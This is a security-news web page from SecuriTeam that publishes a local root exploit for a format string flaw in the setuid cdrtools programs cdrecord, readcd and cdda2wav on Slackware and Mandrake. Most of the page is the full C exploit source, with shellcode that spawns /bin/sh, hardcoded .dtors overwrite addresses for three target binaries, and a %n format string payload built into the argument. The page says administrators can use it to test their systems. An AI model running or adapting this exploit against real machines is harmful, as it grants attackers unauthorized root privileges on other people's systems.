SecuriTeam - Another Cdrecord Format String Vulnerability Exploit Released

Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus

Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs

Brought to you by:

Suppliers of:

SecuriTeam in Your Inbox

New vulnerability?
New tool?
Tell us
(Our PGP key).

CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

A format string vulnerability in Cdrecord (A CD recording program) allows local attackers to gain elevated privileges (under those distributions that have set the program to setuid, Slackware and Mandrake). The following exploit code can be used by administrators to test their system for the mentioned vulnerability.

Credit:
The information has been provided by Claes Nyberg.

Website Security Scan	Code Vulnerability Test	Network Assessment Tool
Detect hidden vulnerabilities	Exhaustive automated testing	Real-time, continuous security
Get guidance from professionals	of internal or 3rd party code.	scanning for your entire network

Protect your website!
Use an External Vulnerability Scanner!
Nothing to install. First report in 1 hour!
www.beyondsecurity.com/vulnerability-scanner

Exploit:
/*
* cdrecord, readcd, cdda2wav (cdrtools 2.0) exploit by CMN
*
* <cmn@darklab.org>/<md0claes@mdstud.chalmers.se>
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define NOP 0x90
#define BUFSIZE 65536
#define FMTSTRSIZE 512
#define DUMMY 0x204e4d43

static const char linuxcode[] =
    "\xb9\xff\xff\xff\xff" /* movl $-1, %ecx */
    "\x31\xc0" /* xorl %eax, %eax */
    "\xb0\x31" /* movb $0x31, %al */
    "\xcd\x80" /* int $0x80 */
    "\x89\xc3" /* movl %eax, %ebx */
    "\xb0\x46" /* movb $0x46, %al */
    "\xcd\x80" /* int $0x80 */
    "\x31\xc0" /* xorl %eax, %eax */
    "\xb0\x32" /* movb $0x32, %al */
    "\xcd\x80" /* int $0x80 */
    "\x89\xc3" /* movl %eax, %ebx */
    "\xb0\x47" /* movb $0x47, %al */
    "\xcd\x80" /* int $0x80 */
    "\x31\xd2" /* xorl %edx, %edx */
    "\x52" /* pushl %edx */
    "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
    "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
    "\x89\xe3" /* movl %esp, %ebx */
    "\x52" /* pushl %edx */
    "\x53" /* pushl %ebx */
    "\x89\xe1" /* movl %esp, %ecx */
    "\xb0\x0b" /* movb $0xb, %al */
    "\xcd\x80" /* int $0x80 */
    "\x31\xc0" /* xorl %eax, %eax */
    "\x40" /* inc %eax */
    "\xcd\x80"; /* int $0x80 */

struct vulnfo {
    u_char *bin;
    u_int retloc;
    u_char *stackpop;
    u_int fmt_written;
    u_int pop_written;
    u_char *arg2;
};

static struct vulnfo targets[] =
{
                       /* .dtors */
    {"/usr/bin/cdrecord", 0x0808bf04+4, "%.f%.f%.f%08x%08x%.f%.f%.f%08x", 13, 36, "/bin/sh"},
    {"/usr/bin/readcd", 0x080683a4+4, "%.f%.f%.f%08x%08x%.f%.f%.f%08x", 13, 37, NULL},
    {"/usr/bin/cdda2wav", 0x08082244+4, "%.f%.f%.f%08x%08x%.f%.f%.f%08x", 13, 37, NULL},
};

void
usage(char *pname)
{
    printf("Usage: %s <target> [-l<retloc>] [-r<retaddr>] [-o<offset>]\n", pname);
    printf("Targets: \n");
    printf(" 0 - '%s' (Slackware 8.1, cdrtools-2.01a5-i686-1.tgz)\n", targets[0].bin);
    printf(" 1 - '%s' (Slackware 8.1, cdrtools-2.01a5-i686-1.tgz)\n", targets[1].bin);
    printf(" 2 - '%s' (Slackware 8.1, cdrtools-2.01a5-i686-1.tgz)\n\n", targets[2].bin);
}

int
main(int argc, char *argv[])
{
    u_long ret = (u_long)&ret;
    struct vulnfo *target;
    char buf[FMTSTRSIZE];
    char envbuf[BUFSIZE];
    long offset = 0;
    u_int written;
    char *pt;
    char *av[4];
    char *ev[2];
    int i;
    int tmp;
    int wb;
    int pad;

    printf("\n** cdrecord, readcd, cdda2wav (cdrtools 2.0) exploit by CMN **\n");

    if (argc < 2) {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }

    i = atoi(argv[1]);

    if ((i>=0) && (i<=2)) {
        target = &targets[i];
    }
    else {
        fprintf(stderr, "Unknown target!\n");
        exit(EXIT_FAILURE);
    }

    argc--;
    argv++;

    while ( (i = getopt(argc, argv, "l:r:o:")) != -1) {
        switch(i) {

            case 'l':
                target->retloc = strtoul(optarg, NULL, 0);
                break;

            case 'r':
                ret = strtoul(optarg, NULL, 0);
                break;

            case 'o':
                offset = strtol(optarg, NULL, 0);
                break;

            default:
                usage(argv[0]);
                exit(EXIT_FAILURE);
                break;
        }
    }

    ret -= offset;
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    printf("Target program: '%s'\n", target->bin);
    printf("Using address 0x%08x, retloc 0x%08x\n", (u_int)ret, target->retloc);
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n");
    written = target->fmt_written;

    snprintf(buf, 5, "dev=");
    pt = &buf[4];

    *(u_long *)pt = DUMMY;
    *(u_long *)(pt +4) = target->retloc;
    pt += 8;
    written += 8;

    *(u_long *)pt = DUMMY;
    *(u_long *)(pt +4) = target->retloc+1;
    pt += 8;
    written += 8;

    *(u_long *)pt = DUMMY;
    *(u_long *)(pt +4) = target->retloc+2;
    pt += 8;
    written += 8;

    *(u_long *)pt = DUMMY;
    *(u_long *)(pt +4) = target->retloc+3;
    pt += 8;
    written += 8;

    memcpy(pt, target->stackpop, strlen(target->stackpop));
    pt += strlen(target->stackpop);
    written += target->pop_written;

    for (i=0; i<4; i++) {
        wb = ((u_char *)&ret)[i] + 0x100;
        written %= 0x100;
        pad = (wb - written) % 0x100;

        if (pad < 10)
            pad += 0x100;

        tmp = sprintf(pt, "%%%du%%n", pad);
        written += pad;
        pt += tmp;
    }

    memset(envbuf, NOP, sizeof(envbuf));
    memcpy(&envbuf[BUFSIZE - (sizeof(linuxcode)+24)],
        linuxcode, sizeof(linuxcode));

    av[0] = target->bin;
    av[1] = buf;
    av[2] = target->arg2;
    av[3] = (char *)NULL;

    ev[0] = envbuf;
    ev[1] = (char *)NULL;

    execve(target->bin, av, ev);
    perror("execve()");
    exit(EXIT_FAILURE);
}

blog comments powered by Disqus

	Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit
	IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS
	Progea Movicon TCPUploadServer Remote Exploit
	Trango Broadband Wireless Rogue SU Authentication Bug
	Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow
	Family Connections Multiple Remote Vulnerabilities
	VideoCache vccleaner Root Vulnerability
	QuickHeal Antivirus 2010 Local Privilege Escalation
	DubSite CMS Cross Site Request Forgery Vulnerability
	SonicWall Global Management System XSS Vulnerability
	Sonicwall NSA E7500 XSS Vulnerability
	Juniper Security Threat Response Manager XSS Vulnerability
	Hacking CSRF Tokens using CSS History Hack
	Sun Java System Identiy Manager Users Enumeration
	Microsoft Internet Explorer XML Buffer Overflow (Exploit)